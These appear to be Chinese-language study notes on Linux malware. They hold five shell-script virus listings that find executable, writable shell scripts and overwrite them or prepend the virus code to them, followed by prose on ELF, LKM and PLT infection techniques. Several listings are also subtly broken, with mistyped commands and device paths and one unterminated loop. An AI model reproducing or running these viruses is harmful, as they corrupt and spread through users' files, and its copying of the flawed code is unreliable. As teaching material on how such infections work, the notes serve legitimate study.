- Linux惡意代碼分類:
1. Shell病毒
2. 可執(zhí)行文件病毒
- Linux病毒列表分類:
1. Bliss病毒
2. Typot木馬
- Linux病毒分類:
1. Shell腳本病毒
2. 蠕蟲病毒
3. 欺騙庫函數(shù)
4. 內(nèi)核級的傳播
5. 與平臺兼容的病毒
# Shell簡單惡意代碼實例
Shell在不同的Linux系統(tǒng)上差別不大
```
# 原始shell病毒
#shellvirus I#
for file in ./infect/*
do
cp $0 $file
done
```
```
# 簡單的shell病毒
#shellvirus II#
for file in ./infect/*
do
if test -f $file #判斷是否為文件
then
if test -x $file #判斷是否可執(zhí)行
then
if test -w $file #判斷是否有寫權(quán)限
then
if grep -s sh $file >.mmm #判斷是否為腳本文件
then
cp $0 $file #覆蓋當前文件
```
```
# 原始shell病毒
#shellvirus III#
#infection
head -n 35 $0 >.test1 #取病毒自身代碼并保存到.test
for file in ./* #遍歷當前目錄中的文件
do
echo $file
head -n 2 $file >.mm #提取感染腳本文件第一行
if grep infection .mm > .mmm #判斷是否有感染標記
then #已經(jīng)被感染標記
echo "infected file and rm .mm"
rm -f .mm
else #尚未感染,繼續(xù)執(zhí)行
if test -f $file
then
echo "test -f"
if test -x $file
then
echo "test -x"
if test -w $file
then
echo "test -w"
if grep -s sh $file >.mmm
then
echo "test -s and cat..."
cat $file >.SAVEE #把病毒代碼放在腳本文件的開始部分
cat .test1 >$file #原有的代碼追加在末尾
cat .SAVEE >>$file #形成含有病毒代碼的腳本工作
fi
fi
fi
fi
fi
done
rom .test1 .SAVEE .mmm .mm -f #清理工作
```
```
# 復(fù)雜代碼病毒
#shellvirus IV#
#infection
for file in ./* ;do
if test -f $file && test -x $file && test -w $file;
then
if grep -s sh $file > /dev/nul ;then
head -n 2 $file > .mm
if grep -s infection .mm > /dev/nul ;then
rm -f .mm ;else
head -n 14 $0 >.SAVEE
cat $file >> .SAVEE
cat .SAVEE >$file
fi fi fi
done
rm -f .SAVEE .mm
```
```
# 感染特定目錄的shell病毒
#ShellVirus V#
#infection
xtemp =$pwd #保存當前路徑
head -n 22 $0 > /.test1
for dir in ./* ; do #遍歷當前目錄
if test -d $dir ; then #如果有子目錄則進入
cd $dir
for file in ./* ; do #遍歷該目錄文件
if test -f $file && test -x $file && test -w $file;
then
if grep -s sh $file > /dev/nul ; then
head -n 2 $file >.mm
if grep -s infection .mm > /devnul ;then
rm -f .mm > /.SAVEE #完成感染
cat /.test1 > $file
cat /.SAVEE >> $file
fi fi fi
done
cd ..
fi
done
cd $xtemp
rm -f /.test1 /.SAVEE .mm #清理工作
```
# ELF技術(shù)
即Executable and Linking Format,如同Windows下PE文件,ELF和PE起源于Linux
- 無關(guān)ELF格式的感染方法:
1. 覆蓋式感染
2. 追加式感染
- 利用ELF格式的感染方法:
把病毒本身作為一部分插入到ELF格式里邊。然后與原來的ELF文件進行有機的融合。
1. 文本段數(shù)據(jù)段之間填充區(qū)植入病毒
執(zhí)行過程:
在文本段末尾插入代碼。了解ELF header中的p_shoff以包含新代碼,通過他們來定位文本段的位置。增加文件的大小,調(diào)整p_offset大小。再文本段末尾寫入代碼,調(diào)整各個偏移量。
2. 在文本段之前插入感染代碼
3. 利用函數(shù)對齊填充區(qū)感染
從當前進程中取出病毒代碼,查找合適的未被感染的ELF可執(zhí)行文件作為宿主文件,并修改病毒體,使其執(zhí)行完后能夠跳轉(zhuǎn)至宿主文件代碼入口點。查找宿主文件函數(shù)填充區(qū),找到足夠大的函數(shù)填充區(qū)并記錄。
將病毒體分割:
將分割后的病毒放入宿主文件多個函數(shù)填充區(qū)內(nèi),并在每一塊后設(shè)置跳轉(zhuǎn)指令,使其各部分相連接。修訂入口點,使其指向病毒體入口點。
4. 利用NOTE段/擴展.note節(jié)
查找文件中的PT_NOTE類型的段,然后修改里面相應(yīng)的字段,同時還要修改他們可執(zhí)行的屬性,把惡意代碼插入進去。
5. 高級感染技術(shù)
上升到內(nèi)核層次的病毒感染就是高級感染,這就需要感染內(nèi)核的模塊。對Linux最致命的病毒攻擊方式就是感染Linux內(nèi)核,也就是使用Linux的LKM。
動態(tài)加載,無須重新實現(xiàn)整個內(nèi)核?;诖颂匦?,LKM常被用作特殊設(shè)備的驅(qū)動程序(或文件系統(tǒng)),如聲卡的驅(qū)動程序等等。
6. LKM感染技術(shù)
LKM在Linux操作系統(tǒng)中被廣泛使用,主要的原因就是LKM具有相對靈活的使用方式和強大的功能,可以被動態(tài)地加載,而不需要重新編譯內(nèi)核。
對于病毒而言,也有很多好處,比如隱藏文件和進程等,但是使用LKM是比較麻煩的,需要較高的技術(shù)要求。
7. PLT實現(xiàn)重定向的算法
1將文本段修改為可執(zhí)行權(quán)限。2保存PLT入口點。3使用新的庫調(diào)用地址替代原入口。4對新庫調(diào)用中代碼的修改。實現(xiàn)新的庫調(diào)用的功能,保存原來的PLT入口,調(diào)用原來庫調(diào)用。